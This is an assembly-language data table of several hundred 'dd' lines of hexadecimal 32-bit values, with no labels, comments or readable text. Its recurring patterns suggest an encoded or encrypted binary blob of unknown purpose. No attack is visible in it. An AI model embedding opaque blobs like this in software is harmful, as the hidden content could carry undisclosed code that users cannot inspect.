dd 4EDE679Eh, 0BC12137Ah, 0E46FA38Ah, 967C03C8h, 0E3AB535Ch
dd 6008A3E9h, 6682BA1Ah, 63AD3215h, 0A9223215h, 7FFD18E7h
dd 0A70DF4E0h, 21422000h, 662ABD1Ah, 0EE1E3215h, 66883217h
dd 0A42C5375h, 6993CF75h, 6611339Bh, 0D377CA15h, 605625E4h
dd 6629BB1Ah, 0DF713215h, 1CB5656h, 67948B73h, 2EA7BF74h
dd 8F17202Eh, 66883207h, 2EC1BFBh, 96A5005Dh, 751DE9DBh
dd 0E64BB32Ch, 0B6BB602Bh, 6629DB75h, 0AFF3215h, 0C7B29D86h
dd 5EE866A7h, 60A63D30h, 0E7113215h, 719154C2h, 0EF4B5356h
dd 66223214h, 6694BBE9h, 9F8E2B87h, 7385B7D3h, 69653407h
dd 66113C9Ah, 0E6875215h, 66443215h, 6622B11Ah, 0E703215h
dd 0B92ECC01h, 97F1CDE9h, 6242002h, 0E11E6847h, 66883211h
dd 2A398C73h, 2EA7BF74h, 617202Eh, 0EF871DA4h, 66443210h
dd 0CCF1B373h, 6DF85300h, 0BF883215h, 9B15CE39h, 1C07505Eh
dd 0B6EE1B53h, 620DBBE9h, 6422B87h, 662226FCh, 0B319FC15h
dd 740B00F9h, 0B1A20CB9h, 0F3F39032h, 7D6E2A37h, 0BA365484h
dd 0E38253E8h, 603027D4h, 0E79CB4Ah, 9A1662E7h, 71B587EAh
dd 8F423407h, 66113205h, 0E7943057h, 9DECADDh, 9FD23A16h
dd 846B0BAFh, 3ED66547h, 664CDB74h, 92F33215h, 0F901EF4Eh
dd 0E30557A2h, 6056095Dh, 6624B91Ah, 713215h, 77DF89Eh
dd 694CDE9h, 0E3AB53E0h, 6008A01Dh, 668821FCh, 0FF2CD715h
dd 3BC663B0h, 1A26C577h, 6EB97FD6h, 2F7256CBh, 73E3B7D3h
dd 65E3407h, 668EB91Ah, 0AEC53215h, 3DFDBAF9h, 9370C19Fh
dd 9AF30D7Dh, 0D3BBCAD2h, 603025E4h, 8FB58175h, 66883201h
dd 2939C55Dh, 0FCE29C4Eh, 0B2FAF7F2h, 0AD5399E4h, 0EA35A3B4h
dd 2EA7BF74h, 8F17202Eh, 66883207h, 87FAF2E7h, 1076DEE2h
dd 60125F74h, 96E10C2Ch, 0B6BBA985h, 6639B31Ah, 0ED1E3215h
dd 66883200h, 664422FCh, 84508615h, 0F2A1ACC0h, 0A62AB698h
dd 2A47219Bh, 52A7BBB7h, 9E172B87h, 7349B7D3h, 8F033407h
dd 6622321Dh, 0C56F914h, 6FE12B53h, 8085AECh, 0E72DC84Eh
dd 6611320Eh, 66063D75h, 8F443215h, 6622321Bh, 0E9E0C2E5h
dd 9A3CBF51h, 0A57E738Ch, 99432026h, 7406C3A0h, 0E305CA13h
dd 6056095Dh, 662CBD1Ah, 6FF83215h, 7A883215h, 4FA01FD6h
dd 1B56F623h, 0D971E2EAh, 1297FD72h, 6652BF1Ah, 76CA3215h
dd 1F113215h, 822E5047h, 0D342B53Dh, 0F542C8BBh, 3FA01756h
dd 0E301CE74h, 605DA02Dh, 0A7A7F4ECh, 21172000h, 66883DFCh
dd 4FE42D15h, 0BE4ADC4Fh, 349F637Ah, 71026004h, 6060FF7Dh
dd 69CA52D6h, 0E113215h
dd 0DE933A71h, 0B6132509h, 0B8F660F6h, 0B491790Dh, 0E6D96A04h
dd 71A29E0h, 71D387EAh, 69F83407h, 15883215h, 0EB870E45h
dd 0E924C35Ch, 1D77DA16h, 0EB745796h, 747F7A90h, 62A73D13h
dd 6113215h, 99E9E89Eh, 664DDBC5h, 0DA073215h, 74C05B24h
dd 0EF4BD477h, 7FD60E90h, 0E12DCE13h, 66113214h, 0A70DF4EDh
dd 39422000h, 662239FCh, 8471D15h, 814A022Bh, 89C03E8h
dd 0DD42FE7Dh, 679A3DC1h, 9E883215h, 71B587EAh, 60CB3407h
dd 0B3113215h, 0B4C6447Eh, 664BDB8Ah, 0A2713215h, 37766F26h
dd 61308E23h, 647A823Dh, 2EA7BF55h, 9317202Eh, 0E587E2EAh
dd 6644321Eh, 662234FCh, 0E4EA6B15h, 0EF32263Ch, 7FD63E90h
dd 67AC3D13h, 9A113215h, 7349B7D3h, 8F1B3407h, 66223213h
dd 56E6B71Fh, 28E08610h, 8FDADB41h, 6622321Bh, 16AB7418h
dd 51A9E9BCh, 1A8472E3h, 0D3DD422Fh, 600325E4h, 6680B21Ah
dd 0E04B3215h, 66223217h, 0E39C5375h, 609A095Dh, 48CB375h
dd 0E72C25C0h, 786005F5h, 0E85372h, 0CA46AAh, 9943C99Eh
dd 661EDBC5h, 0B7D43215h, 0F1FEC51Ah, 0C6A1FAF7h, 0ADA4D7B8h
dd 760DBBFEh, 8F422B87h, 6622321Dh, 7DC14DB2h, 0A638FF5h
dd 7385B7D3h, 937D3407h, 75397A7Dh, 0D377CBC4h, 605625E4h
dd 0E8298A75h, 0D11E2C34h, 0E30553C4h, 6056095Dh, 662220FCh
dd 0D2B34215h, 6DCDDB6Eh, 31CA0E38h, 221CA864h, 99ECFE97h
dd 0E301CAC5h, 605DA001h, 692658ECh, 66113E99h, 600E3D15h
dd 69443215h, 66223290h, 76115A15h, 0E5873215h, 66443238h
dd 662FDA75h, 2D823215h, 8BD414BDh, 7C5CE5D4h, 3C398F45h
dd 661121FCh, 2D89A115h, 635A5C63h, 91F0A447h, 2DE3032h
dd 0A6493E04h, 76445A74h, 0ED2D3215h, 66113213h, 366BB875h
dd 662E534Fh, 6624DBE9h, 0E1CE3215h, 98FCC2h, 66DDA7EAh
dd 0EA2D3407h, 66113214h, 0A30DBBEDh, 69422035h, 66222695h
dd 661EDB15h, 0DFF83215h, 4468C5B4h, 55F77BDCh, 0FF29F209h
dd 830DBF00h, 6422B54h, 0DC71EA95h, 77A38243h, 658CD74h
dd 66443FFCh, 66873C15h, 81167F64h, 636F68FDh, 6EAC7644h
dd 94223215h, 63571CA3h, 0EDB715DFh, 0C256BD2h, 0D12D5211h
dd 7E6B9CDh, 6698327Dh, 664EDB15h, 0BE813215h, 15B25435h
dd 503EB8FEh, 6664327Dh, 67AE3D15h, 9F113215h, 6D61327Fh
dd 66443215h, 5032CC5Dh, 505F6078h, 0F377C496h, 6056328Ch
dd 66223FFCh, 0A6C97115h, 0E7D33A31h, 6D109D98h, 0E3AB4D67h
dd 60031F28h, 668826FCh, 8CEC4D15h, 0FB3EEC25h, 6CC9AF17h
dd 846290C3h, 0E6FAE3C8h, 0AFA7BBB6h, 9A17203Fh, 81095275h
dd 849C472h, 34436B44h, 66113FFCh, 6E62E215h, 0EC091C4h
dd 83D7AD0Bh, 74B0158h, 0E787727Fh, 66443212h, 6623BF1Ah
dd 0EE93215h, 66882215h, 6645B61Ah, 0EDB3215h, 66103215h
dd 9509C775h, 3D9DF9FDh, 9F225874h, 6688A7EAh, 0EF713407h
dd 746C5390h, 67A03D13h, 9A113215h, 3F3DB9E0h, 6422021h
dd 662222FCh, 46521215h, 2F1A4B4Eh, 60BAF41Dh, 1A1423DBh
dd 8D9054C5h, 0EDE998A5h, 745EFF88h, 0D92D5213h, 659C3DD2h
dd 883215h, 0EF25F89Eh, 74117BA0h, 0B19A5213h, 2BF8C73h
dd 27D9BB74h, 6924203Dh, 6611029Ch, 76615215h, 76443215h
dd 4F98BB28h, 587C5829h, 0F1FC64A0h, 8F797039h, 66223201h
dd 5750CC4Eh, 19019A61h, 5843AC57h, 331BCDBAh, 5353C6C7h
dd 6A0F3D74h, 69443215h, 66223494h, 66953D15h, 0ED883215h
dd 745EFF88h, 87A25213h, 0FE448BE4h, 36E91EFAh, 5E7E8B44h
dd 0B7D533C3h, 9113DBD4h, 6979B3CCh, 0EF84479Bh, 0BE236BDDh
dd 69493A9Eh, 66883A95h, 64C53D15h, 6223215h, 66E8B174h
dd 5ED5B61Ah, 0EB4B3215h, 66223214h, 869862ECh, 66883610h
dd 66401F15h, 62A53215h, 62986E31h, 669BDB31h, 40C83215h
dd 7BE1FE9Dh, 0CCDEFA8Bh, 9054DD63h, 43D3419Ah, 62CEB148h
dd 9E353E9Ch, 6A073D75h, 6443215h, 28ECB373h, 72328C25h
dd 9FE905FEh, 0EFBCF224h, 743BE390h, 661BDB13h, 3FEF3215h
dd 0D83E1FA4h, 8A0E9BEEh, 661FEC7Dh, 429CBB15h, 66440EAFh
dd 3CF4BB15h, 8FFFB3E9h, 65A8A96Ch, 36641661h, 215E7ADh
dd 62F1F342h, 848E0038h, 68B3071Dh, 0A0237FEFh, 619E3D4Dh
dd 69883215h, 6644339Ah, 0CB44CE15h, 66113CFCh, 0C1187E15h
dd 83BF98A7h, 0D39C1E26h, 639A09C3h, 72357FB4h, 46607616h
dd 2B838C43h, 963826A8h, 1677C74Bh, 4270B96Dh, 6626F694h
dd 76F83215h, 4C883215h, 0AF67A00Eh, 0BEED741Dh, 49DF8EB9h
dd 0E739260Bh, 832392D3h, 4256316Dh, 20AC6735h, 91FB2157h
dd 8BC577C8h, 5FDD29D5h, 0E713DFD4h, 3887ECE0h, 3BAA1B79h
dd 7E54CDE0h, 550D8D42h, 1A897AF7h, 391B3631h, 553EDD94h
dd 63F87AF7h, 2F883215h, 0AE5BE0DBh, 8ED3B975h, 6611321Dh
dd 91303E07h, 0D9557B78h, 662239FCh, 0CD090C15h, 60C8BE85h
dd 0B693FB3Dh, 0DBAB534Ch, 6003179Ch, 6977B7E9h, 66440190h
dd 5CAC715h, 6113275h, 9C3F3D42h, 7D6874Dh, 6626ACFCh
dd 7F993D15h, 8F883215h, 66443201h, 508109FBh, 0A7315B9Bh
dd 0D7999199h, 0DF0C4300h, 0FBC9BE1Ch, 63F1BB45h, 66883211h
dd 0E140DA96h, 0EF7E1611h, 0ED1E1619h, 66883210h, 93658575h
dd 3D756174h, 64AE89Ch, 0D369B3EDh, 7781F28h, 66223CFCh
dd 0F53E0B15h, 415DB7F5h, 8ED435A5h, 0DA0B678h, 0ED1E36C7h
dd 66883217h, 0F3CD5375h, 603013A0h, 0A4A95475h, 0AC373DC6h
dd 67C73D74h, 9A223215h, 6FF8367Fh, 0DE883215h, 0A575844Ah
dd 0EEFB58E5h, 6601327Dh, 0ED875215h, 66443217h, 0D12D6B47h
dd 397953C4h, 0EF883225h, 6FAD1601h, 44223215h, 65C5DF54h
dd 3E23328Ah, 0BC098B75h, 0ED447292h, 667B53D7h, 668834FCh
dd 99FF9915h, 99C3CA40h, 7411AB80h, 668EDB13h, 0B34E3215h
dd 2DD564E3h, 7C10B79Ch, 36743407h, 0B5603694h, 3C095D06h
dd 75C28F40h, 8CA1197Ah, 99BDCE48h, 0E57B1621h, 697136D1h
dd 6688379Fh, 8B8A8B15h, 0E12D7442h, 66113217h, 8EE95375h
dd 66446D2Fh, 75E8175h, 59265AEDh, 52013215h, 6654DB31h
dd 53183215h, 0E5A1B14Dh, 0B4BB319Dh, 89315A7h, 938FA1B8h
dd 66113EFCh, 0D60AB215h, 0D4C6887Dh, 241335E2h, 7D9F1F45h
dd 228B5266h, 0DF151631h, 651299Bh, 8F48FA14h, 66883219h
dd 0DE0426Ah, 0F265D712h, 0F094318Fh, 0EF8CDE96h, 3E131611h
dd 0ED44524Ah, 661EDBCFh, 14A63215h, 0ADA46B91h, 0C793B7E1h
dd 0E2F309EAh, 8A0B535Ch, 4278BB11h, 6EA63D4Eh, 69113215h
dd 6688309Ch, 0E255215h, 66223F58h, 6350E9Ch, 66883CFCh
dd 0B93D0C15h, 2BB4E54Ah, 0AD024473h, 69AB906Ch, 5625C0A2h
dd 138CCAD5h, 0AD9A52E8h, 4D7A8A75h, 0DE221466h, 743DB41h
dd 4225B9E9h, 0E76DBB40h, 664436D0h, 62E7B115h, 3A351E92h
dd 668EDB75h, 724D3215h, 666BA8CFh, 6AB315ABh, 0A1095335h
dd 4A045A7Ah, 0DC70ED3Ch, 4A515A7Ah, 6D2E53Ch, 664439FCh
dd 1FA7DE15h, 4308B801h, 0A4380EBAh, 78B851Ah, 662238FCh
dd 68CAF215h, 0BA4C6C13h, 0EA85820h, 662270AFh, 635269Ch
dd 6683DB46h, 0C3313215h, 51C15130h, 96A2E1EDh, 0D96CEFh
dd 1544F194h, 3177534Fh, 3BFBBB48h, 668FB91Ah, 0EE4B3215h
dd 66223214h, 0A3ACB9EDh
dd 8F8E2035h, 66443213h, 0AB63300Ch, 99A80F9Dh, 6977CDEAh
dd 66443495h, 0A5A95215h, 5770FFA3h, 6685DBD5h, 0BE553215h
dd 95D8C1DBh, 49467E73h, 0E163FB4h, 664432A0h, 0DD062E9Ch
dd 66113215h, 6502C114h, 6643DB4Eh, 0DA1D3215h, 0FB459B06h
dd 9F40025Fh, 99BB8946h, 0B80BCDEAh, 6A983D4Eh, 69883215h
dd 66443499h, 66AD3D15h, 99113215h, 5209B521h, 975C5731h
dd 4226B967h, 5315F696h, 14792A70h, 664438FCh, 0C97C815h
dd 0A298BD79h, 0A74FA414h, 243AFCh, 6E5E7AEh, 6611BB1Ah
dd 70393215h, 0A7755374h, 0E32D78E0h, 99EECD7Ah, 39D965ECh
dd 9F1BCA9Ch, 72D562E0h, 4215B931h, 668CF694h, 0E7243215h
dd 452B28C6h, 729A530Fh, 80016431h, 6640F494h, 0A0A33215h
dd 66113211h, 3AAC0692h, 6658BD1Ah, 423215h, 0E79FD094h
dd 66883DFDh, 8B39115h, 64187498h, 0B68A6871h, 32F17732h
dd 8AC7534Bh, 4226BB11h, 4D350694h, 0E98BD121h, 4D76B317h
dd 6921D121h, 66113A98h, 64023D15h, 6443215h, 0D9756474h
dd 57D64934h, 0A1F317ABh, 39BA1B24h, 8F7CC014h, 66113205h
dd 9CB6EA74h, 88569785h, 4ED4DDE5h, 9CCABE4Ch, 66B2BB7Dh
dd 4250BB15h, 662ABD1Ah, 0EF1E3215h, 66883217h, 0E3BB5375h
dd 60302BC4h, 6619DBE0h, 0C9523215h, 0EB0B0DCEh, 0F3A9FB88h
dd 60032BC4h, 0EF1D0BE0h, 69422030h, 66224D91h, 7C933D15h
dd 6883215h, 66443FFCh, 4996215h, 0E56878E0h, 0F5EAD376h
dd 80C52F50h, 670B3A7Ah, 4205B974h, 6368BB45h, 66443211h
dd 0E126F296h, 9A4D1611h, 35AC069Eh, 0A5C5D19Ch, 66223211h
dd 6615F194h, 7A0F3215h, 246E31h, 7655AABh, 66158946h
dd 0A0093215h, 657128AEh, 88A3EC14h, 652428AEh, 0D061CA4Eh
dd 69BBCDE9h, 66223D9Eh, 661BDB15h, 39CD3215h, 49CBE8h
dd 50E288A3h, 3035269Eh, 0A009D49Ch, 66443211h, 0E126F496h
dd 9E4D1621h, 38AC06EAh, 6640F694h, 7D73215h, 66113EFCh
dd 5B6B8315h, 7F92C1FFh, 8E4E2FCCh, 4225CDBCh, 624CB34Ch
dd 8F443215h, 66223210h, 0FED6B9ADh, 5277CB09h, 0A2C76A31h
dd 67A23D11h, 9F113215h, 7B91B7D2h, 66443407h, 0EE2D3215h
dd 6611320Ch, 668826FCh, 0EC3B3315h, 1D333F07h, 35118541h
dd 0AD3FB7DFh, 0A9BBE778h, 97A7F56Eh, 66172025h, 6883215h
dd 9E8FF295h, 1A9FB174h, 66172B84h, 66CAB61Ah, 6AAD3215h
dd 10223215h, 76017A17h, 0B028349Dh, 0EB726D2Dh, 7EBC9288h
dd 6605DB13h, 69A13215h, 4AA6212Ah, 0D8689ACAh, 0DE9E075Eh
dd 98D742F5h, 0B5BB4268h, 4EF1B375h, 306378E5h, 6688B81Ah
dd 71B3215h, 720BB7EAh, 74F83407h, 0B1883215h, 0F9772CA1h
dd 0D8421DA5h, 0CE69FA14h, 0C9665938h, 4FF9B1FAh, 2242001h
dd 646BB01Ah, 0A1703215h, 74501B90h, 66223313h, 67923D15h
dd 9E883215h, 67C93D75h, 9A223215h, 2BB0B798h, 9974340Ch
dd 0D82252C5h, 0D12D2923h, 0D39C53CDh, 6091A059h, 664439FCh
dd 55BCA415h, 4ECC510Ah, 8AFB4493h, 78578F98h, 0D442340Fh
dd 0A1905390h, 1F59543Bh, 0DB11C53Ch, 1FF3543Bh, 64CDD3Ch
dd 1CCCF094h, 9A2574A1h, 664C527Dh, 422DBB15h, 0D2AC1E94h
dd 3C12294Fh, 3C96F094h, 0EDE9640Eh, 74A8F7A8h, 76C03D13h
dd 8F223215h, 6611321Eh, 602C6F0Bh, 0C6CB1F91h, 0DF6EB8ECh
dd 99EECDEAh, 668837FCh, 0F711AC15h, 0A6136CC8h, 66113CFCh
dd 0AC2AC415h, 6A075E6Bh, 4C77F36Eh, 0E5C5EE00h, 6A0136F9h
dd 66448B31h, 97233215h, 9348339Fh, 6A61FA25h, 0FC443215h
dd 0AD68DD81h, 2C082B83h, 34CF90E0h, 664433AFh, 3CF43315h
dd 66113DFCh, 0E014CA15h, 0DD5A9E67h, 0E2351135h, 7DC4D379h
dd 0E70F06EAh, 0ED31621h, 537A2B9Ah, 7F9E5A82h, 6693B01Ah
dd 37243215h, 6630DB4Fh, 34613215h, 662CD506h, 0F60494D3h
dd 0A806BC1Eh, 955C17D2h, 6E61F374h, 6648BC1Ah, 69423215h
dd 66113294h, 0E315415h, 0A77553D8h, 6623B91Ah, 2CE93215h
dd 99DCB71Ah, 63ADCDEAh, 44223215h, 0B0D038E0h, 42A4B344h
dd 38D76AFFh, 0E506369Eh, 8C1436D1h, 8FD6A14Dh, 66443219h
dd 9F40653Ch, 154977F1h, 6DB9BC1Bh, 6645B81Ah, 0E5DA3215h
dd 629836F9h, 429CC531h, 6643DB4Dh, 1E033215h, 0B59DE34Eh
dd 0E3B1CA72h, 6056362Ch, 6688B61Ah, 6FF83215h, 9E883215h
dd 0B71C343h, 0E7C3D29Ah, 661122FCh, 0A474D515h, 9471C6AEh
dd 0DD95473Dh, 0D36227BEh, 7BB8A7Ch, 55614763h, 0A76FA258h
dd 0DB4437F5h, 66883215h, 3BD1F73Ch, 4C3FC230h, 7FB11F03h
dd 61612637h, 0D1443215h, 7E81B7EBh, 0A61A92C3h, 6697B71Ah
dd 8F243215h, 66223218h, 21E4A328h, 55093B71h, 8CFE321Dh
dd 0E3E553BFh, 60033E38h, 66883214h, 62FC62E9h, 35568A75h
dd 0B83E26AEh, 3D500368h, 0CC7EC518h, 0A7F2C53Ch, 8C3434FDh
dd 53E1963Dh, 67756BAFh, 697AF314h, 66113590h, 670D3D15h
dd 9E443215h, 72CB5274h, 0F3113215h, 13B83505h, 0F38123DAh
dd 3ED0376Bh, 0EFC0FCD3h, 37D623B3h, 42A6B373h, 934369F5h
dd 568D8C43h, 900926BAh, 3BAA3E35h, 88A3E4E2h, 56D0564Bh
dd 55F38A45h, 0A0451631h, 0FFE4B34Dh, 0EFA3F7ACh, 0E6876CE4h
dd 6644321Fh, 0B7A95475h, 0B90972AAh, 0EDD5308h, 17813D83h
dd 8BA37F48h, 13FE5362h, 58BBDF94h, 8CCDABB2h, 0E7061E9Eh
dd 661136D1h, 61033D15h, 6443215h, 34E8FA95h, 6BC534Fh
dd 7761E39Eh, 8D443215h, 4087AE38h, 0E920F862h, 94141691h
dd 850BC7BCh, 2F97BB74h, 9F172026h, 6689BE1Ah, 31B13215h
dd 303918AAh, 35D6B368h, 0E7ABE76Ah, 4DDE4FE2h, 9EAB62B4h
dd 3EED749Ch, 0E774524Ah, 502AC9FFh, 881F5378h, 69FFDCFBh
dd 6688E090h, 58C5CB15h, 0BBFFEFC8h, 66D4B71Ah, 0EA873215h
dd 66443212h, 6623BC1Ah, 34E43215h, 1FB687AFh, 60AEF372h
dd 84E3E0E2h, 0B1AF6410h, 0E7A56F32h, 0B72864D3h, 0EBCCB363h
dd 57C6D926h, 70016CE7h, 6643DB4Fh, 4FFA3215h, 0A9FFF977h
dd 623765E5h, 0E7443215h, 0C06EB9FBh, 0E7EF3353h, 0C0C4B9D3h
dd 6DAD6D53h, 7A223215h, 94A0D6E0h, 0E6A08579h, 0D3CDEFF8h
dd 6030015Ch, 8CFDB275h, 4341B375h, 111B6Ch, 743FC9Eh
dd 6610B21Ah, 8F743215h, 66441E39h, 6623BE1Ah, 8FE83215h
dd 6688321Ch, 1283D529h, 0B8C1CE83h, 988BDB38h, 0EC87CDEAh
dd 6644320Ah, 6631DB75h, 0E1F03215h, 0E4610CACh, 3A3C8AAh
dd 36AC8DA3h, 0CDE15814h, 419A8C7Dh, 3625516Dh, 0DF063694h
dd 3D191238h, 4C148D42h, 0A1C52507h, 972C3108h, 8F4EC93Ch
dd 66883213h, 4E0A5E2Eh, 0E31176D4h, 60033E38h, 8F7B8175h
dd 6644321Bh, 3D55BFCCh, 1527CC63h, 3DA4CC39h, 6925D100h
dd 66223391h, 0AED0CA15h, 0E7EE5216h, 0E78472CCh, 0FB526BCFh
dd 0ED1E5351h, 6688321Fh, 664437FCh, 2C6F8015h, 0B61450B4h
dd 4FBD5117h, 0D6FD63C5h, 91784F24h, 0E7C8C5C4h, 67B45BE4h
dd 5D8DB314h, 0E76F4727h, 0EF39FBD4h, 7279B36Eh, 4FAA577Fh
dd 0E82D6BDDh, 66113214h, 7648F3E0h, 664435FCh, 5360C615h
dd 0DE4E6865h, 6161FA24h, 2B443215h, 0CB1D3B1Fh, 0FB982BCFh
dd 609A3E38h, 8CC552E9h, 5718AE97h, 7CA8D1Ah, 67883228h
dd 9FC73D15h, 9E223214h, 0DDAA0C94h, 0E38789AEh, 664433F9h
dd 662237FCh, 7B380F15h
dd 0EDFE2E9h, 217A26EBh, 4FEDB34Ah, 0E7655A24h, 1C61E8FAh
dd 397ABB61h, 0B72014D4h, 2C27B33Bh, 698E348Dh, 66442198h
dd 662CDB15h, 6C063215h, 6A1DB1FEh, 8FFD5A10h, 864E67AEh
dd 6610BA1Ah, 367D3215h, 66408847h, 0B6AB3215h, 3ED7334Fh
dd 668838FCh, 3D11BA15h, 0DD20A989h, 0EF54F121h, 74BB7BA0h
dd 0EDB1CB13h, 7438FF88h, 55EECB13h, 0E7AC3E9Eh, 664436D1h
dd 6ACBCE15h, 2E113215h, 303366CAh, 31C623F7h, 36603A80h
dd 0E735269Eh, 668836D1h, 8FFB5215h, 697B90BCh, 66113F9Dh
dd 6680DB15h, 38CE3215h, 68C69E35h, 670BD6Ch, 0F44AB375h
dd 6940B160h, 66223298h, 0D8795315h, 0EF88327Fh, 62C51601h
dd 0CB78DC31h, 883C6A10h, 68D9F4Fh, 31BBDC94h, 63CA0BE7h
dd 0E0113215h, 0D58CF4EBh, 71B6C44h, 553BB73Eh, 6BF83407h
dd 6D883215h, 93BD67A3h, 8F09070Ah, 6D9AB00h, 6698B61Ah
dd 6DAD3215h, 5D223215h, 3079DE7Eh, 45D6ADF4h, 86856520h
dd 6EA23D17h, 69113215h, 66883095h, 65255215h, 743BAF90h
dd 0ED775213h, 668DDBE7h, 0BA263215h, 76A2CAEh, 665EA67Dh
dd 428CBB15h, 8F1A6A43h, 66223205h, 0E881AFDFh, 630BE9B6h
dd 0A4FA3130h, 6DE3EB60h, 6B9D3DB8h, 8F883215h, 6644321Dh
dd 44CED7DFh, 0B040B51Ch, 0BCF58838h, 358C3313h, 1C38D8AEh
dd 24E2B34Ah, 2DC86E41h, 0B6A9D994h, 0BE232A5Eh, 661EDB4Eh
dd 9163215h, 362DEC52h, 8C33A887h, 7EC5B62Ah, 42CCBB64h
dd 67C93D09h, 9E223215h, 61923D74h, 69883215h, 6644339Eh
dd 2ECBC715h, 6113216h, 66883AFDh, 0CC18A715h, 0AA25BEF0h
dd 3F7052C5h, 6683DA43h, 431E3215h, 2D3B3A37h, 7AD37DFBh
dd 7D26C54h, 0E7A1BB40h, 662236D0h, 62FCB115h, 3AAC1E92h
dd 69603E9Ch, 6622259Ah, 77923D15h, 8F883215h, 66443219h
dd 0DE83B2D9h, 2C0C2527h, 0BC15D684h, 6666387Dh, 4236BB15h
dd 66113AFCh, 0E42EE15h, 39F89901h, 6EB03FFh, 6DF8BAA7h
dd 3F883215h, 69B542C7h, 0E101E202h, 6970D44Eh, 66882C91h
dd 0A5C55215h, 6860469Bh, 661123FCh, 0EBD7A715h, 0B310C38h
dd 2ABC4BDAh, 5927E0FAh, 0EDE924E5h, 745E3380h, 6419C713h
dd 668FB61Ah, 0DDE83215h, 2DD7254Eh, 66A53D44h, 38113215h
dd 62376574h, 67443215h, 421EB9EFh, 8F15F696h, 6688321Ch
dd 8CE23251h, 0FF32951Bh, 0DC43CAA8h, 9977CDEAh, 691EE33Ch
dd 6622339Ah, 0EB2ACE15h, 609A179Ch, 99F4B71Ah, 6942CDEAh
dd 0E70CBAAh, 66883215h, 0E560369Eh, 0EBD736D1h, 745F7998h
dd 6685DB13h, 27063215h, 0A4F70C18h, 8F80FB4Fh, 8F5D9016h
dd 6644321Fh, 56FD7644h, 0B0D6DB28h, 87774D70h, 6645BC1Ah
dd 8FD73215h, 66113205h, 54EF5AA6h, 9D429729h, 65896B04h
dd 5E8185F1h, 7F59BF9Ch, 99B13407h, 0E5781621h, 68F836D1h
dd 58883215h, 4970C5ACh, 0BA27FAB1h, 0E13815B1h, 42BCCD24h
dd 6280B14Ch, 66223CFCh, 2D198615h, 0CB58731Ah, 3F692480h
dd 0E8EFB0Ah, 6611180Ch, 69AC069Ch, 66442B9Eh, 6636DB15h
dd 0CF5F3215h, 5378468Ch, 0A4323533h, 4C6A5E68h, 216371BFh
dd 0FB0313BEh, 605628D8h, 6629BD1Ah, 60F83215h, 27883215h
dd 0F96C3E37h, 0E711CD0Ah, 56B1611h, 30D168F2h, 314A9FABh
dd 88A37478h, 0CC97B07h, 918DD4D4h, 60AAB3CBh, 4F770DFCh
dd 8E716CE4h, 6688321Fh, 0BADCB5DFh, 1489505Ch, 68AA6CCAh
dd 38EF0FA9h, 664421FCh, 0CA27EA15h, 0A2A5A74Eh, 6CD981D7h
dd 3BCDB410h, 4095F860h, 0B794B974h, 68E200Ch, 69BDB973h
dd 6943E9A2h, 66113A9Eh, 97035215h, 2C228873h, 69C2E374h
dd 66112A9Dh, 0E3875215h, 66443215h, 662239FCh, 717AA615h
dd 3098ECC9h, 0F545398Ch, 67A83D74h, 9E113215h, 4B0DB716h
dd 6243407h, 66223BFCh, 0AF49F915h, 0C39797B2h, 0EA4B8F92h
dd 66223215h, 60953D74h, 0E7883215h, 5A5696D4h, 90135316h
dd 6601DBE9h, 0F28B3215h, 9D1E76C3h, 731B0D20h, 739A84BCh
dd 30D8BB46h, 4270B94Dh, 6926F696h, 66113599h, 670F3D15h
dd 9E443215h, 0A7D79F73h, 0E21E30F5h, 6688321Eh, 664434FCh
dd 0C09B6D15h, 65D70094h, 7491AF90h, 6654DB13h, 0E1F23215h
dd 741F1D2Bh, 6AD2251Ch, 0C7A7AD5h, 8AA12D32h, 4215BB11h
dd 93D66A43h, 6655DBB8h, 105E3215h, 0D02B204Ch, 7F2AEDF3h
dd 0C4B60598h, 6313483Bh, 2D9C1573h, 0D8DEFA14h, 554929BEh
dd 9267DC94h, 9638D56Ah, 5133524Bh, 9E4169FCh, 4216CD74h
dd 62D5B34Bh, 6883215h, 6F1F37AEh, 7B995415h, 0E67153E8h
dd 0DFEE34F8h, 0E52537D5h, 74369FA8h, 0E21E3313h, 6688331Bh
dd 664ADA75h, 57873215h, 94561105h, 39563707h, 0B3B4E649h
dd 251CC194h, 0DF4F210Eh, 57ED2DF5h, 97C90974h, 69242002h
dd 6611D391h, 0E0875215h, 66443216h, 30DBB973h, 0EB2A534Ah
dd 609A0148h, 668CB61Ah, 6DCB3215h, 6E113215h, 0BD5EA7F8h
dd 633EE861h, 0EB19ADA3h, 60031DC4h, 6624B61Ah, 6B13215h
dd 0AF953DE0h, 0D98CBF74h, 68E2BFBh, 699A851Ah, 66223793h
dd 0F2148A15h, 8FE96F21h, 66443207h, 10F6780Bh, 0D7528DF4h
dd 0F07A9182h, 3F9B91A7h, 0B5DD2D2Ch, 6610B81Ah, 36743215h
dd 0E7600E9Eh, 662236D1h, 6A9A3D15h, 69883215h, 6644349Bh
dd 66A23D15h, 0EF113215h, 749F9790h, 6AC13D13h, 69223215h
dd 6611349Ch, 660F3D15h, 8F443215h, 66222D36h, 6602DA75h
dd 0ECC63215h, 158C000Eh, 5C4D696Bh, 0E21FFB74h, 0E3698EE0h
dd 6655DBC9h, 0BC173215h, 0C7490144h, 173C0275h, 1F1737CCh
dd 3CC07FCFh, 41E3B373h, 0FB0553AFh, 605DDCAAh, 6627B71Ah
dd 37713215h, 99E9C74Bh, 0DBC7CBC6h, 603026B8h, 14953D15h
dd 6883215h, 6642B91Ah, 0E92D3215h, 66113215h, 0D70D0974h
dd 6942203Ah, 66221C91h, 73963D15h, 6883215h, 664439FCh
dd 0EADCBE15h, 0B677CDE3h, 69D7F5CDh, 7D7E495h, 6A1FB72Eh
dd 0E31E3407h, 66883224h, 6645B21Ah, 8FDB3215h, 99EECCF8h
dd 6684B31Ah, 0E74B3215h, 66223213h, 6611BB1Ah, 0EF873215h
dd 66443218h, 66223AFCh, 9CC41415h, 0A7DA2C50h, 53C109DBh
dd 69242026h, 66114D90h, 0DFEE5215h, 0E525D09Ch, 742CDBA8h
dd 0E21E3213h, 6688323Ah, 6648BE1Ah, 0E62D3215h, 66113213h
dd 6688B01Ah, 0DBC73215h, 6030061Ch, 2B953D15h, 8F883215h
dd 6644321Eh, 17E64B40h, 24D31F5Ch, 0EB9E9F16h, 7F7F0C90h
dd 705213h, 748EA9Eh, 99765AFCh, 61AD52EAh, 0A0223215h
dd 1F7545E5h, 8FE80880h, 66443206h, 0AADDEE93h, 552BA3BDh
dd 1AECFEEEh, 0A1FA1C6Bh, 69FED3C0h, 770F5A2h, 55BDB72Eh
dd 0E24B3407h, 99DDCC24h, 6ACB1EDh, 678E2B84h, 663DB71Ah
